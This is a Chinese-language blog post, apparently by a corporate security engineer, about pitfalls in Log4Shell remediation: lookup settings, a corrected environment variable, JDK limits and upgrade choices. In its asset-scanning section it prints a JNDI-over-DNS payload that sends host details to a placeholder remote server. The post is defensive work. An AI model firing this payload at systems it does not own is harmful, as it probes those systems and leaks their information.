聲明：該文章來自（賽博回憶錄）版權由原作者所有，K2OS渲染引擎提供網(wǎng)頁加速服務。

0x00 前言

最近log4shell的漏洞可以稱之為賽博界的核爆，無論是對甲方還是乙方，防守方還是攻擊方，對所有人都是一場浩劫。我們學了十幾年技術攻防，技術壁壘越來越高，結果一夜回到解放前，不得不說是非常打擊信心的容易讓人產(chǎn)生信仰動搖。

anyway，事情發(fā)生了，那作為甲方的一員還是得好好應對。面對網(wǎng)上鋪天蓋地的關于這個漏洞的修復方案，我們也沒有時間思考只能照著做?，F(xiàn)在冷靜下來，我才發(fā)現(xiàn)有不少地方存在著坑，而這些坑那些拼命刷存在感的廠商是不會告訴你的，因為他們要搶頭條消息。下面我整理一下我現(xiàn)在的一些關于修復上的想法和遇到的坑。

0x01 安全產(chǎn)品

首先肯定靠已經(jīng)有的一些安全設備來做防護，比如拼命加waf的各種規(guī)則，雖然這存在繞過不過總是能防止一些腳本小子來給后續(xù)的修復爭取時間。其次如果你用了rasp，那么恭喜你這個確實可以第一時間阻止漏洞執(zhí)行，但是也要考慮兩點：

1. 你的waf、rasp、hids之類的產(chǎn)品打印日志本身是否存在漏洞，你的soc本身是否存在漏洞
2. 你的rasp的覆蓋面是否包含到一些非自身開發(fā)的資產(chǎn)，比如開源的、采購的等

如果安全產(chǎn)品本身有問題，建議馬上升級log4j版本，至于怎么升級這塊下面會說，因為還是有些地方要注意

0x02 臨時修復方案上的問題

關于這個臨時修復方案我不得不吐槽，所有乙方廠家的公眾號都是抄的，里面存在一些問題并沒有明確說明，甚至還有無效的修復方案！比如這段：

這段是最早流出來的修復建議，幾乎所有公眾號都寫的這段，這里面有幾個問題：

1. nolookups設置成true確實可以避免漏洞，但是是否存在業(yè)務側的影響？
2. 設置系統(tǒng)環(huán)境變量的方式給出的key值是錯誤的并不生效
3. jdk版本高了確實可以防止rce，但是不能防止敏感信息外帶

剛看了看，某司在后續(xù)的通告里對修復方案進行了一些調整，這也確實值得肯定的

但如果你是甲方，上面的修復方案你依舊要謹慎。還是我前面說的那三個問題，我一個個來說一下

（1）nolookups

nolookups為true的時候意味著關閉lookup，那么這個影響到底是什么呢？三夢師傅測試了一下答案是這樣的：

也就是說如果開發(fā)在log4j的XML配置文件里配置的這種替換是沒有影響的，即使你關閉了lookup也依然能保證替換正常。但是如果你的開發(fā)者的開發(fā)習慣是在輸出的時候直接拼接語句比如 log.error("${sys:java.version}"+"xxxxx")，那么這時候關閉了lookup會導致打印不出java version而是原樣打印。那如果開發(fā)者真的這么做了然后我們關閉了lookup這會造成什么問題呢？

1. 輕微的可能會導致后續(xù)打印的排錯日志不具備排錯價值，導致無法排障
2. 如果你的告警分析用到了lookup以后的值，那么很可能出故障了告警也不會響
3. 如果你的日志傳遞給下游程序做分析，那么這個日志和預期不一樣可能導致下游分析出錯

因此，我們不可以盲目的關閉lookup，畢竟你永遠不知道你的碼農(nóng)、GitHub的碼農(nóng)他們到底是怎么寫代碼的。至少要知道有這種潛在的風險在進行風險評估后推送修復。

（2）系統(tǒng)環(huán)境變量

我們看到最開始的修復方案里有三個等效的措施：

1. jvm參數(shù) -Dlog4j2.formatMsgNoLookups=true
2. 在應用程序的classpath下添加log4j2.component.properties配置文件文件，文件內(nèi)容：log4j2.formatMsgNoLookups=True
3. 設置系統(tǒng)環(huán)境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為true

這三個是等效的，也就是說設置其中一個就行了，理想上我偏向于推送系統(tǒng)環(huán)境變量，因為這個最簡單，運維可以直接推送，而且是全局的，當然其他也是可以的。但實際上呢？有下面兩個問題：

1. 這三個在2.10以下均處于失效狀態(tài)，如果你第一時間推送了這三個那么你要注意點
2. 系統(tǒng)環(huán)境變量這個key值是錯誤的，某司第二次公告把它去掉了

但實際上呢，如果你一開始只接推了初版修復方案的系統(tǒng)環(huán)境變量，那么恭喜你，你的工作是無用的，各種意義上。經(jīng)過測試后我們發(fā)現(xiàn)系統(tǒng)環(huán)境變量換成這個值才是生效的LOG4J_log4j2_formatMsgNoLookups=True。

（3）jdk版本

有的人說升級jdk版本后你最多是觸發(fā)dnslog你其他啥也做不了，排查了一下自己的jdk版本后就高枕無憂了。這種想法也是片面的，經(jīng)過群友周末的發(fā)酵，哪怕盲打本地gadget比較困難，現(xiàn)在可以確定的是最差情況下可以外帶服務器上的敏感信息，比如springboot上的配置信息、系統(tǒng)的環(huán)境變量等。這種外帶敏感信息的方式甚至可以外帶出數(shù)據(jù)庫密碼等信息，為其他的攻擊做鋪墊。具體可以參考淺藍寫的文章（https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg）。

0x03 升級包

關于補丁有幾個誤區(qū)先聊一聊，一個是繞過的問題，所謂的繞過是指在nolookups為false的時候（也就是開啟lookup）rc1才存在被繞過的風險，而nolookups在后續(xù)幾個補丁內(nèi)已經(jīng)直接被置為true了。另一個是關于如何升級的問題，首先我們要明確幾個點：

1. 在后續(xù)的幾個補丁，如rc1、rc2到剛才，nolookups都是默認為true的
2. 在剛剛最新版本，jndi已經(jīng)被默認置為false了
3. 我們自身的資產(chǎn)到底有沒有用到lookup

最重要的還是確定到底有沒有用到lookup功能

• 如果用到了，那么你必須升級到最新版本（包含關閉jndi的版本），然后你還需要手動配置打開lookup（nolookups=false）。
• 如果你吃不準或者目前看來影響不大，你可以升級到任意修復版本先保持不動看看情況。

說到底，最穩(wěn)妥的方案就是干掉log4j2的jndi后重新開啟lookup避免影響業(yè)務功能。當然如果真的有傻逼碼農(nóng)用到了lookup里的jndi，那他應該被吊起來打，但是作為安全人員配合排查相關問題還是需要的。

0x04 排查問題服務

由于資產(chǎn)情況十分復雜，即使我們自己有各種所謂的自動化平臺，我也不太相信能照顧到所有的資產(chǎn)，所以我建議在修復后長期進行各種盲測，測試的時候可以通過如下語句：

${jndi:dns://xxx.xxx.xxx.xxx:port/${hostName} -${sys:user.dir}- ${sys:java.version} - ${java:os}}

上面這個修改一下遠程vps的地址和端口，通過監(jiān)聽udp端口的方式來獲取帶外信息，如果命中了就會傳遞過來相關服務的名稱之類的，幫助定位內(nèi)部易損資產(chǎn)，定位后進行專項治理。

總結

這場鬧劇真是各種精彩一波三折，從這里面也看出太多的坑，我們做安全的無論是防御還是攻擊，根本上都應該是圍繞守護世界和平的目標來工作的（做黑產(chǎn)的不叫做安全），那么就應該有基本的職業(yè)操守，不管你是甲方還是乙方，給出的方案都應該細致經(jīng)得起推敲，而不是復制黏貼拍拍腦子就推送出去了。公司小沒事，少打幾個字段多大點事，公司越大一個字段的錯誤產(chǎn)生的蝴蝶效應就可能導致整個集群雪崩。

比起RCE，對普通人來說還是業(yè)務崩潰危害更大一些，所以一定要謹慎。

[超站]友情鏈接：

四季很好，只要有你，文娛排行榜：https://www.yaopaiming.com/
關注數(shù)據(jù)與安全，洞悉企業(yè)級服務市場：https://www.ijiandao.com/